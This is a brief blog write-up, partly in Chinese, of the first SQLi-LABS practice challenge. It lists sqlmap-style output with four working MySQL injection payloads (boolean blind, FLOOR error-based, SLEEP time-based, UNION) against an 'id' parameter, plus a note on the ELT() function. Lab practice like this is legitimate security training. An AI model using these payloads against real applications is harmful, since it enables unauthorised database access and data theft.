SQLi-LABS Page-1(Basic Challenges)

Posted 2020-10-15

一、Less-1 GET - Error based - Single quotes - String

---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1‘ AND 4178=4178 AND ‘rrHN‘=‘rrHN

---

 

---

Type: error-based
Title: mysql >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1‘ AND (SELECT 1743 FROM(SELECT COUNT(*),CONCAT(0x717a707871,(SELECT (ELT(1743=1743,1))),0x717a7a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ‘krWb‘=‘krWb

 

---

---

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1‘ AND SLEEP(5) AND ‘emVc‘=‘emVc

---

休眠了好5秒

 

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-6174‘ UNION ALL SELECT NULL,CONCAT(0x717a707871,0x6b48684e74754d58786858774d445666764c516d4654634244476d78426643464f57596f71587a73,0x717a7a7071),NULL-- vXnD
---

 

mysql 操作16进制：

mysql ELT()函数：

ELT(N,str1,str2,str3,...)

如果N= 1，返回str1，如果N= 2，返回str2，等等。如果N小于1或大于参数个数，返回NULL。